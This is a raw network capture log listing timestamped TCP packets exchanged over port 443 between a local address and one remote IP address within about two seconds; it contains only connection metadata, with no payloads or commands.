Dec 29, 2024 09:04:58.027441978 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.047172070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.047363043 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.204061985 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.204158068 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.205554008 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.205620050 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.206948042 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.207020044 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.209069967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.209141016 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.210624933 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.210686922 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.212090969 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.212152958 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.213538885 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.213608980 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.215014935 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.215079069 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.217163086 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.217230082 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.218617916 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.218687057 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.220233917 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.220302105 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.221383095 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.221450090 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.223603964 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.223681927 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.225116014 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.225184917 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.226512909 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.226584911 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.227941990 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.228013992 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.405143976 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.405236006 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.406765938 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.406840086 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.408262014 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.408327103 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.409832954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.409909964 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.411245108 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.411334038 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.412652016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.412724018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.414272070 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.414345980 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.416317940 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.416405916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.417855978 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.417929888 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.419328928 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.419401884 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.420844078 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.420912027 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.422713995 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.422790051 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.424180984 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.424253941 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.425637007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.425719976 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.427109957 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.427181005 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.428572893 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.428644896 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.606623888 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.606735945 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.607460976 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.607661963 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.608858109 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.608933926 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.610301971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.610383987 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.611790895 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.611861944 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.613966942 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.614037991 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.615418911 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.615489960 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.616957903 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.617031097 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.618525028 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.618603945 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.620079994 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.620147943 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.622006893 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.622081995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.623330116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.623398066 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.624756098 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.624835968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.626203060 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.626275063 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.628362894 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.628443956 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.629832029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.629901886 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.631334066 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.631524086 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.808046103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.808166027 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.809418917 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.809504986 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.811563969 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.811646938 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.812997103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.813194990 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.814496994 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.814585924 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.815989971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.816066980 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.817487001 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.817558050 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.821820021 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.821893930 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.821934938 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.822007895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.822493076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.822571039 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.824340105 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.824421883 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.826073885 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.826154947 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.827431917 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.827502966 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.828986883 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.829061985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.830395937 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.830463886 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:58.831882954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:58.831964970 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.009109020 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.009296894 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.010581970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.010664940 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.012044907 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.012114048 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.013582945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.013652086 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.015054941 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.015120983 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.016520977 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.016594887 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.018637896 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.018704891 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.020092964 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.020162106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.021646976 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.021708012 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.023118019 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.023175955 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.024563074 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.024630070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.026460886 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.026526928 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.028008938 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.028076887 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.029476881 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.029541016 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.030944109 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.031011105 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.033044100 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.033118010 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.210139036 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.210217953 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.211174965 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.211244106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.212627888 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.212692022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.214153051 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.214222908 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.215578079 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.215645075 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.217689991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.217757940 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.219145060 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.219211102 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.220731974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.220808029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.222163916 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.222229004 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.223669052 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.223737001 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.225800037 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.225862026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.225903034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.227054119 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.227118969 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.228591919 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.228674889 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.230036974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.230113029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.232130051 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.232197046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.233674049 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.233752966 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.235086918 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.235155106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.411828995 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.411926985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.413206100 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.413284063 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.415448904 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.415534973 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.416764021 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.416836977 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.418334961 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.418427944 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.419786930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.419871092 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.421257019 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.421340942 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.422691107 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.422771931 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.424834013 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.424912930 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.426331043 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.426430941 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.428004980 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.428092003 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.429769039 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.429850101 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.431245089 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.431344032 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.432727098 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.432809114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.434228897 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.434323072 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.435692072 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.435775995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.613092899 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.613181114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.614851952 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.614936113 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.615915060 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.616005898 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.617413044 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.617491961 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.618851900 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.618946075 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.620358944 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.620440006 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.622564077 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.622647047 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.623982906 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.624087095 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.625463009 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.625541925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.626898050 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.626976967 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.628388882 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.628463984 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.630386114 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.630465984 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.631827116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.631911993 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.633440971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.633521080 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.634773016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.634877920 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.636898994 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.636985064 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.813952923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.814171076 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.815027952 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.815123081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.816488981 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.816567898 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.817991018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.818078041 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.820178032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.820267916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.821536064 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.821616888 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.823091030 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.823168993 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.824541092 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.824634075 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.826070070 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.826148033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.827466011 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.827538967 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.829580069 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.829658985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.831125021 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.831201077 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.832360029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.832439899 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.837759018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.837835073 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.837874889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.837951899 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.838020086 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.838087082 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:59.838951111 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:59.839029074 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.016186953 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.016279936 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.017894030 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.017981052 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.019490004 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.019577026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.022501945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.022582054 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.024213076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.024292946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.025768042 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.025850058 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.027024984 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.027105093 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.028350115 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.028429985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.029944897 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.030026913 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.031079054 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.031156063 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.032135963 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.032208920 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.033231020 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.033314943 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.035451889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.035532951 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.036856890 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.036942959 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.038871050 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.038963079 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.040040970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.040122986 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.216840029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.216938019 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.218233109 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.218313932 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.219778061 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.219860077 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.221201897 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.221291065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.222748995 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.222830057 CET	49710	443	192.168.2.5	92.205.3.41
